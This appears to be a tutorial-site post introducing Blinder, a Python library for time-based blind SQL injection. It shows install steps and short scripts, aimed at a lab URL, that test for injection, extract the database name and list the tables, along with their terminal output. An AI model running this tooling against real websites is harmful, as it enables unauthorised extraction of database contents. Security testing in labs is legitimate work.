Kali Linux Tutorials

Blinder is a small python library to automate time-based blind SQL injection by using a pre-defined queries as a functions to automate a rapid PoC development.

Installation

You can install it using the following command:

pip install blinder

Or by downloading the source and importing it manually to your project.

Usage

To use it you need to import Blinder module then start using the main functions of it.

Also Read – Application Inspector : A Source Code Analyzer Built For Surfacing Features Of Interest

You can use it “with the current version” to do the following:

• Check for time based injection.
• Get database name.
• Get tables names.

You can check for injection in a URL using the following code:

!/usr/bin/python
import Blinder

blind = Blinder.blinder(
“http://sqli-lab/sql_injection/index.php?search=3”,
sleep=1
)
print blind.check_injection()

The execution result will be:

root@kali:~/Desktop# python check.py
True
root@kali:~/Desktop#

You can Get database name using the following code:

!/usr/bin/python

import Blinder
blind = Blinder.blinder(
“http://sqli-lab/sql_injection/index.php?search=3”,
sleep=1
)

print “Database name is : %s ” % blind.get_database()

And the results will be:

root@kali:~/Desktop# python get-database.py
Database name is : db1
root@kali:~/Desktop#

To get tables names you can use the following code:

!/usr/bin/python
import Blinder

blind = Blinder.blinder(
“http://sqli-lab/sql_injection/index.php?search=3”,
sleep=1
)

tables = blind.get_tables()

for table in tables:

print table

And the results will be:

root@kali:~/Desktop# python get-tables.py
blogs
notes
root@kali:~/Desktop#